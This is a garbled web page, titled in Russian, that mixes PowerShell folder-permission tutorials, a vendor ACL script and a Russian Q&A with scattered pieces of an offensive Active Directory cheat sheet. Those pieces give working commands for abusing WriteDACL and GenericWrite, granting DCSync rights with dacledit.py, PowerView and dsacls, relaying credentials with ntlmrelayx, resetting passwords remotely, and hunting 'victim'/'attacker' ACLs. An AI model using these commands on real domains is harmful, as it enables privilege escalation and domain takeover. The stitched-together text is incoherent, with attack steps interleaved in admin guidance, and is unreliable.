Как настроить разрешения для папок с использованием power shell

This partially worked for me, except the “IsInherited” output from powershell says false.

Cmd > net group "IT Desk" snovvcrash /add /domain

Enable/disable AD account remotely via ldap_shell:

$ python3 -m ldap_shell -k -no-pass megacorp.local/snovvcrash -dc-ip 192.168.1.11 -dc-host DC01snovvcrash# enable_account j.doesnovvcrash# disable_account j.doe

PV3 > Add-DomainObjectAcl -TargetIdentity "IT Desk" -PrincipalIdentity snovvcrash -Domain tricky.com -Rights All -VerbosePV3 > Add-DomainGroupMember -Identity "IT Desk" -Members snovvcrash -Verbose

Cmd > klist purgeCmd > gpupdate /forceCmd > dir \\dc1.megacorp.local\c$

Some AD object security permissions abusable with PowerView / SharpView:

• AddMembers abused with Add-DomainGroupMember

• GenericWrite abused with Set-DomainObject

• WriteOwner abused with Set-DomainObjectOwner

• WriteDACL abused with Add-DomainObjectACL

From Linux with further recovery:

$ net rpc password j.doe 'NewPassw0rd!' -U megacorp.local/snovvcrash%'Passw0rd!' -S 192.168.1.11

Ensuring that the right individuals have the proper access to specific files and folders is paramount in IT. Managing permissions effectively safeguards sensitive data, aids in regulatory compliance, and enhances operational efficiency. One popular tool for handling such tasks is PowerShell, and today, we dive deep into a script that streamlines the process of modifying folder permissions. 

Let’s say that the ACE on object A applies to object B. This grants or denies object B access to object A with the specified access rights.

ACE example in SDDL format:

A = ACCESS_ALLOWED_ACE_TYPERP = ADS_RIGHT_DS_READ_PROPWP = ADS_RIGHT_DS_WRITE_PROPCC = ADS_RIGHT_DS_CREATE_CHILDDC = ADS_RIGHT_DS_DELETE_CHILDLC = ADS_RIGHT_ACTRL_DS_LISTSW = ADS_RIGHT_DS_SELFRC = READ_CONTROLWD = WRITE_DACWO = WRITE_OWNERGA = GENERIC_ALL

Managing files and folder permissions it’s a time consuming process. When you are trying to apply level of permissions in a Fileserver with hundred of folders might take you  days. Especially when it’s already in production. 

PowerShell can reduce the time of this process and make it easier. Probably when you have to manage or update folder permissions in a Fileserver with hundred or thousand of folders.

I spent few hours a day while testing different scenarios that we are facing when we should manage or update folder permissions.

Powershell Check Permissions

This partially worked for me, except the “IsInherited” output from powershell says false.

# Get the ACL for an existing folder
$existingAcl = Get-Acl -Path \\fp01\Users\$newuser
# Set the permissions that you want to apply to the folder
$permissions = $newuser, 'FullControl', 'ContainerInherit,ObjectInherit', 'None', 'Allow'
# Create a new FileSystemAccessRule object
$rule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList $permissions
# Modify the existing ACL to include the new rule
$existingAcl.SetAccessRule($rule)
# Apply the modified access rule to the folder
$existingAcl | Set-Acl -Path \\fp01\Users\$newuser
# Check permissions
(Get-ACL -Path "\\fp01\Users\$newuser").Access | Format-Table IdentityReference,FileSystemRights,AccessControlType,IsInherited,InheritanceFlags -AutoSize

Thank you all in advanced!

Хочу выдать права группе пользователей на определенные папки, в них разорваны наследования.
Я выгрузил все пути в этой папке и хочу дать доступ группе на всё что внутри.
Код ниже, но не могу понять как скормить путь.
Список путей в файле csv в столбце FullName3.
Не могу понять как вытянуть данные из файлы csv.

Import-Csv "C:\csv.csv"
$identity = 'domain\Full Acces'
$rights = 'FullControl'
$inheritance = 'ContainerInherit, ObjectInherit'
$propagation = 'None'
$type = 'Allow'
$ACE = New-Object System.Security.AccessControl.FileSystemAccessRule($identity,$rights,$inheritance,$propagation, $type)
$Acl = Get-Acl -Path "\\server\folder"
$Acl.AddAccessRule($ACE)
(Get-Item = $_.FullName3).SetAccessControl($acl)

задан 28 авг. 2023 в 9:12

Как выбрать данные из *.csv:

Исходный файл c:\test\csv.csv

FullName1,FullName2,FullName3
FIO1,blablabla,c:\test\src\
FIO2,blablabla,c:\test\folder\

Код в файле read_csv.ps1

$table=Import-Csv "c:\test\csv.csv"
foreach ($row in $table) { $ACL = Get-Acl $row.FullName3 $ACL | Format-Table
}

 Каталог: C:\test
Path Owner Access
---- ----- ------
src BUILTIN\Администраторы BUILTIN\Администраторы Allow FullControl... Каталог: C:\test
Path Owner Access
---- ----- ------
folder BUILTIN\Администраторы BUILTIN\Администраторы Allow FullControl...

ответ дан 28 авг. 2023 в 10:47

Алексей Р

2 золотых знака8 серебряных знаков20 бронзовых знаков

Potential Use Cases

Imagine an IT professional, Jane, overseeing a project for her organization. Jane has a folder with project files. As the project progresses, different departments need various levels of access to these files. Using the script, Jane can effortlessly ensure that the HR department can only read certain documents, while the project managers have full control over all the files. This efficient management ensures smooth project operations while maintaining security.

Managed Security Groups

Returns all security groups in the current (or target) domain that have a manager set:

PV3 > Get-DomainManagedSecurityGroupGroupName : Security OperationsManagerName : john.doeManagerDistinguishedName : CN=John Doe,OU=Security,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCALManagerCanWrite : UNKNOWN

PV3 > $sid = ConvertTo-SID john.doeObjectSID : S-1-5-21-3167813660-1240564177-918740779-2549ActiveDirectoryRights : ListChildren, ReadProperty, GenericWriteBinaryLength : 36AceQualifier : AccessAllowedIsCallback : FalseOpaqueLength : 0AccessMask : 131132SecurityIdentifier : S-1-5-21-3167813660-1240564177-918740779-1874AceType : AccessAllowedAceFlags : ContainerInheritIsInherited : FalseInheritanceFlags : ContainerInheritPropagationFlags : NoneAuditFlags : None

Exchange Windows Permissions

Privilege escalation with ACLs in AD by example of the Exchange Windows Permissions domain group.

PS > Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members snovvcrash

Add DCSync Rights

Using Impacket ntlmrelayx.py:

PS > IWR http://10.10.13.37 -UseDefaultCredentials

Using Impacket dacledit.py:

$ dacledit.py megacorp.local/snovvcrash:'Passw0rd!' -action write -rights DCSync -principal snovvcrash -target-dn 'DC=megacorp,DC=local' -dc-ip 192.168.1.11

PV2 > Add-ObjectAcl -TargetDistinguishedName "DC=megacorp,DC=local" -PrincipalName snovvcrash -Rights DCSync -Verbose

PS > $cred = New-Object System.Management.Automation.PSCredential("snovvcrash", $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force))PV3 > Add-DomainObjectAcl -TargetIdentity "DC=megacorp,DC=local" -PrincipalIdentity snovvcrash -Credential $cred -Rights DCSync -Verbose

Using PowerShell ActiveDirectory:

1. Get ACL for the root domain object.

2. Get SID for the account to be given DCSync rights.

3. Create a new ACL and within it set “Replicating Directory Changes” (GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) and “Replicating Directory Changes All” (GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) rights for the SID from (2).

PS > Import-Module ActiveDirectoryPS > $acl = Get-Acl "AD:DC=megacorp,DC=local"PS > $objectGuid = New-Object guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceTypePS > $acl.AddAccessRule($ace)PS > $objectGuid = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceTypePS > $acl.AddAccessRule($ace)PS > Set-Acl -AclObject $acl "AD:DC=megacorp,DC=local"

Using ADSI and dsacls.exe:

PS > $namingContext = $dse.defaultNamingContextPS > dsacls.exe $namingContext /G snovvcrash":CA;Replicating Directory Changes All" snovvcrash":CA;Replicating Directory Changes"

PV3 > Remove-DomainObjectAcl -TargetIdentity megacorp.local -PrincipalIdentity snovvcrash -Rights DCSync

Implications

Effective permissions management is critical for IT security. Setting overly permissive access can expose sensitive data, while restrictive permissions can hinder work processes. This script provides a fine balance, enabling precise permission control. However, misconfigurations can have unintended implications, so always double-check your settings.

Hunt for ACLs

PowerView analog + excluding 3-digit RIDs:

PV3 > ConvertFrom-SID <SECURITY_IDENTIFIER>

PV3 > Convert-SidToName $dcsync

Search for interesting ACLs:

PV2 > Invoke-ACLScanner -ResolveGUIDs

InheritedObjectType : AllObjectDN : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL <== Victim (jorden)ObjectType : AllIdentityReference : MEGACORP\sbauer <== Attacker (sbauer)IsInherited : FalseActiveDirectoryRights : GenericWritePropagationFlags : NoneObjectFlags : NoneInheritanceFlags : ContainerInheritInheritanceType : AllAccessControlType : AllowObjectSID : S-1-5-21-3167813660-1240564177-918740779-3110

Search for interesting ACLs:

AceType : AccessAllowedObjectDN : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCALActiveDirectoryRights : GenericWriteOpaqueLength : 0ObjectSID : S-1-5-21-3167813660-1240564177-918740779-3110 <== Victim (jorden)InheritanceFlags : ContainerInheritBinaryLength : 36IsInherited : FalseIsCallback : FalsePropagationFlags : NoneSecurityIdentifier : S-1-5-21-3167813660-1240564177-918740779-3102 <== Attacker (sbauer)AccessMask : 131112AuditFlags : NoneAceFlags : ContainerInheritAceQualifier : AccessAllowed

The -ResolveGUIDs switch shows ObjectType and InheritedObjectType properties in a human readable form (not in GUIDs).

Detailed Breakdown

• User: Defines the target user for whom permissions are being set. This parameter undergoes validation to ensure the user exists.
• Path: Indicates the file or directory whose permissions need to be modified. Its existence is validated.
• Permissions: Enumerates the various types of permissions that can be set, ranging from FullControl to specific ones like ReadData.

The script also offers optional parameters:

• Block: If invoked, denies the specified permissions.
• Recursive: If specified, applies permissions down a folder structure, ensuring inheritance.

How to remove permissions with PowerShell

If you want to remove permissions from a folder or file the commands are also the same as change folder permissions.

• Type the following commands to remove the permissions from user1 in folder Myfolder1.
• The only difference is in line 3  which use the removeaccessrule() method instead of the setaccessrule() method.
  $path=Get-Acl -Path C:\Myfolder1\
  $acl=New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule (‘askme4tech\user1′,’Modify’,’ContainerInherit, ObjectInherit’,’None’,’Allow’)
  $path.removeaccessrule($acl)
  Set-Acl -Path C:\Myfolder1\ -AclObject $path

• If you get the folder permissions you will see that the user 1 removed from the security permissions
  (Get-Acl -Path C:\Myfolder1).Access | Format-Table IdentityReference,FileSystemRights ,AccessControlType ,IsInherited,InheritanceFlags, PropagationFlags

Manage security permissions with PowerShell it’s very easy and much faster from GUI. You can reduce your time of tasks that related with change,add or remove permissions of multiple folder using the PowerShell.

Have a nice weekend !!.

Comparisons

Traditional methods of setting folder permissions often involve navigating through intricate GUI interfaces or employing third-party software. While they offer visual feedback, they can be time-consuming and less efficient when dealing with bulk permissions. The PowerShell script offers a faster, more direct approach. It’s especially handy for IT pros familiar with the command line, enabling rapid, script-driven permission changes.

Check permissions

Thank you all in advanced!

How to change folder permissions with PowerShell

This time the steps are more complicated to do it with PowerShell for a single or 2 folders. However , it’s faster when you need to change hundred of folders especially with the same permissions.

Let’s see it in practice.

• Open the PowerShell.
• Type the following script to give in user askme4tech\user1 Modify permissions in the folder C:\Myfolder1.
  $path=Get-Acl -Path C:\Myfolder1\
  $acl=New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule (‘askme4tech\user1′,’Modify’,’ContainerInherit, ObjectInherit’,’None’,’Allow’)
  $path.setaccessrule($acl)
  Set-Acl -Path C:\Myfolder1\ -AclObject $path

• Let’s explain what we are doing here.
• In the first line $path=Get-Acl -Path C:\Myfolder1\ we save the folder path in a variable path because we need to pass the security permissions later. 
• The second line it’s the more interesting. We create a new object with the FileSystemAccessRule class which has 5 parameters
  • IdentityReference = It is the Group or the user name that you give the access.
  • FileSystemRights = Are the Permissions as you will see it in the Security Tab of the folder
  • AccessControlType = The Allow or Deny access
  • InheritanceFlags = It’s the Applies To as you can see it in Advanced Security Settings.
    • ContainerInherit = When applies in any of the options in Applies To except from the Files only.
    • ObjectInherit = When applies in the option Files only in Applies To
  • PropagationFlags = How inheritance is propagated to the child objects
• In the next line we are passing the new security permissions to the setaccessrule() method
• The last line apply the folder permission to the folder with the Set-Acl
• This is the order that you should keep to apply new permissions or modify existing one with the PowerShell.

Create a new FileSystemAccessRule object

$rule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList $permissions

The Script

#Requires -Version 5.1
<#
.SYNOPSIS Modify User Permissions for files and folder.
.DESCRIPTION Modify User Permissions for files and folder. You can assign or block multiple permissions to multiple users, and multiple files and folders.
.EXAMPLE -User "Test" -Path "C:Test" -Permissions FullControl Gives FullControl permissions to the user Test for just the folder C:Test
.EXAMPLE -User "Test1", "Test2" -Path "C:Test" -Permissions FullControl Gives FullControl permissions to the user Test1 and Test2 for just the folder C:Test
.EXAMPLE -User "Test1", "Test2" -Path "C:Test", "C:Temp" -Permissions FullControl Gives FullControl permissions to the user Test1 and Test2 for just the folders C:Test and C:Temp
.EXAMPLE -User "Test" -Path "C:TestDocument.docx" -Permissions FullControl Gives FullControl permissions to the user Test for just the file C:TestDocument.docx
.EXAMPLE -User "Test" -Path "C:TestDocument.docx" -Permissions ReadData, Modify Gives ReadData and Modify permissions to the user Test for just the file C:TestDocument.docx
.EXAMPLE -User "Test" -Path "C:TestDocument.docx" -Permissions FullControl -Block Blocks FullControl permissions from the user Test for just the file C:TestDocument.docx
.EXAMPLE -User "Test" -Path "C:Test" -Permissions FullControl -Recursive Gives FullControl permissions to the user Test for the folder C:Test and any folder or file under it will inherit FullControl
.EXAMPLE PS C:> .Modify-User-Permissions.ps1 -User "Test" -Path "C:Test" -Permissions FullControl -Recursive Gives FullControl permissions to the user Test for the folder C:Test and any folder or file under it will inherit FullControl
.INPUTS Inputs (User,Path,Permissions)
.OUTPUTS FileSecurity
.NOTES Minimum OS Architecture Supported: Windows 10, Windows Server 2016 Release Notes: Initial Release
By using this script, you indicate your acceptance of the following legal terms as well as our Terms of Use at https://www.ninjaone.com/terms-of-use. Ownership Rights: NinjaOne owns and will continue to own all right, title, and interest in and to the script (including the copyright). NinjaOne is giving you a limited license to use the script in accordance with these legal terms. Use Limitation: You may only use the script for your legitimate personal or internal business purposes, and you may not share the script with another party. Republication Prohibition: Under no circumstances are you permitted to re-publish the script in any script library or website belonging to or under the control of any other software provider. Warranty Disclaimer: The script is provided “as is” and “as available”, without warranty of any kind. NinjaOne makes no promise or guarantee that the script will be free from defects or that it will meet your specific needs or expectations. Assumption of Risk: Your use of the script is at your own risk. You acknowledge that there are certain inherent risks in using the script, and you understand and assume each of those risks. Waiver and Release: You will not hold NinjaOne responsible for any adverse or unintended consequences resulting from your use of the script, and you waive any legal or equitable rights or remedies you may have against NinjaOne relating to your use of the script. EULA: If you are a NinjaOne customer, your use of the script is subject to the End User License Agreement applicable to you (EULA).
.COMPONENT ManageUsers
#>
[CmdletBinding()]
param ( [Parameter(Mandatory = $true)] [ValidateScript( { # Validate that the User(s) exist if ($(Get-LocalUser -Name $_)) { $true } else { $false } } )] [String[]] # The user name of the user you want to apply Permissions to a Path(s) $User, [Parameter(Mandatory = $true)] [ValidateScript({ Test-Path -Path $_ })] [String[]] # File path that you want to apply Permissions to $Path, [Parameter(Mandatory = $true)] # Permission to set the path(s) for the user(s) # This accepts the following: # ListDirectory, ReadData, WriteData, CreateFiles, CreateDirectories, AppendData, ReadExtendedAttributes, # WriteExtendedAttributes, Traverse, ExecuteFile, DeleteSubdirectoriesAndFiles, ReadAttributes, # WriteAttributes, Write, Delete, ReadPermissions, Read, ReadAndExecute, Modify, ChangePermissions, # TakeOwnership, Synchronize, FullControl [System.Security.AccessControl.FileSystemRights[]] $Permissions, # Block the specified Permissions for the specified $User [Switch] $Block, # Apply the Permissions down through a folder structure, i.e. inheritance [Switch] $Recursive
)
begin { function Test-IsElevated { $id = [System.Security.Principal.WindowsIdentity]::GetCurrent() $p = New-Object System.Security.Principal.WindowsPrincipal($id) if ($p.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)) { Write-Output $true } else { Write-Output $false } }
}
process { if (-not (Test-IsElevated)) { Write-Error -Message "Access Denied. Please run with Administrator privileges." exit 1 } $Acl = Get-Acl -Path $Path if ($true -in $Acl.AreAccessRulesProtected) { Write-Error "ACL rules are protected for one of the specified paths." exit 1 } $script:HasError = $false $Path | ForEach-Object { $CurPath = Get-Item -Path $_ $User | ForEach-Object { $NewAcl = Get-Acl -Path $CurPath # Set properties $identity = Get-LocalUser -Name $_ $fileSystemRights = $Permissions $type = $(if ($Block) { [System.Security.AccessControl.AccessControlType]::Deny }else { [System.Security.AccessControl.AccessControlType]::Allow }) $fileSystemRights | ForEach-Object { # Create new rule Write-Host "Creating $type $_ rule for user: $identity" # Check if Recursive was used and that the current path is a folder if ($CurPath.PSIsContainer -and $Recursive) { $inheritanceFlags = 'ObjectInherit,ContainerInherit' $NewAcl.SetAccessRuleProtection($false, $true) } else { $inheritanceFlags = [System.Security.AccessControl.InheritanceFlags]::None } $propagationFlags = [System.Security.AccessControl.PropagationFlags]::None $fileSystemAccessRuleArgumentList = $identity, $_, $inheritanceFlags, $propagationFlags, $type $fileSystemAccessRule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList $fileSystemAccessRuleArgumentList # Apply new rule $NewAcl.SetAccessRule($fileSystemAccessRule) try { Set-Acl -Path $CurPath -AclObject $NewAcl -Passthru } catch { Write-Error $_ $script:HasError = $true } } } } if ($script:HasError) { exit 1 }
}
end {}

Access 300+ scripts in the NinjaOne Dojo

FAQs

• What are the OS requirements for this script? 
  The script supports Windows 10 and Windows Server 2016 and later.
• How can I ensure the recursive permissions are applied only to folders and not individual files? 
  The script automatically checks if the path is a container (folder) and only then applies recursive permissions.

How to copy permissions to a new object with Get-Acl

Copy permissions to a new object with PowerShell it’s very fast and reduce the time that we need to do it with GUI.

For the example I have create a new folder in C:\ with folder name myFolder2.

Let’s see how can do it.

• Go in C:\ and type dir to verify that we have both folders (Myfolder1 and Myfolder2) for the example.
• Get the folder permissions from both folders
• As you can see in the folder Myfolder2 user2 don’t have access.

• Type and run the following command to copy the folder permissions from Myfolder1 to Myfolder2
   Get-Acl -Path C:\Myfolder1\ | Set-Acl -Path C:\Myfolder2\

• Now get the folder permissions for the folder Myfolder2. As you can see all the permissions from myfolder1 copied to myfolder2
  (Get-Acl -Path C:\Myfolder2).Access | Format-Table IdentityReference,FileSystemRights ,AccessControlType ,IsInherited,InheritanceFlags, PropagationFlags

With one line of PowerShell you can copy permissions from one folder to another instead of GUI that you need lot of steps for every permission.

NTFS File and Folder Permissions

Before start to explain how to get folder permissions with PowerShell , check folder permissions with PowerShell or anything let’s remember the NTFS file and folder permissions.

The table describe the basic permissions of a folder. 

The table describe the advance permissions of a folder

How to get folder permissions with PowerShell

First of all let’s see how to get the folder permissions with the PowerShell commands.

I have created a folder in C:\ with Folder Name C:\Myfolder 

• Open a PowerShell as Administrator 
• Run the command
  Get-Acl -Path C:\Myfolder1

• As you can see the display it’s not help.
• So after some research i found the following.
• If you run the following command it will display all the options that you can use with the Get-Acl
  Get-Acl -Path C:\Myfolder1 | Select *

• Use the Access and Type (Get-Acl -Path C:\Myfolder1).Access

• We can do it much better if we will use the Format-Table
  (Get-Acl -Path C:\Myfolder1).Access | Format-Table

• Now let’s take a look how can map this columns with the Security Tab of a Folder
  • IdentityReference = It is the Group or the user name that you give the access.
  • FileSystemRights = Are the Permissions as you will see it in the Security Tab of the folder
  • AccessControlType = The Allow or Deny access
  • IsInherited = If the permissions are inherited.
  • InheritanceFlags = It’s the Applies To as you can see it in Advanced Security Settings.
    • ContainerInherit = When applies in any of the options in Applies To except from the Files only.
    • ObjectInherit = When applies in the option Files only in Applies To
  • PropagationFlags = How inheritance is propagated to the child objects

• If we would like to tp change the order of the columns we can run the command as follow. 
  (Get-Acl -Path C:\Myfolder1).Access | Format-Table IdentityReference,FileSystemRights ,AccessControlType ,IsInherited,InheritanceFlags, PropagationFlags

Final Thoughts

In the modern IT world, the challenge of managing folder and file permissions can’t be overstated. PowerShell scripts, such as the one we explored today, make the task more manageable and efficient. For those looking for integrated IT management solutions, NinjaOne offers robust tools and capabilities, further easing the complexities of permissions management. Whether you’re leaning on scripts or comprehensive platforms like NinjaOne, the goal remains the same: secure, efficient, and streamlined IT operations.

Recommendations

• Always run a test in a controlled environment before deploying the script widely.
• Backup current permissions settings, offering a safety net in case of errors.
• Regularly update and audit user permissions to maintain security and operational efficiency.

Похожее:

Полезные заготовки вызова утилит командной строки Как открыть файл или папку с помощью командной подсказки или power shell в windows 11 Subfolders in a given folder via the command prompt? Power shell и его возможности в уходящем году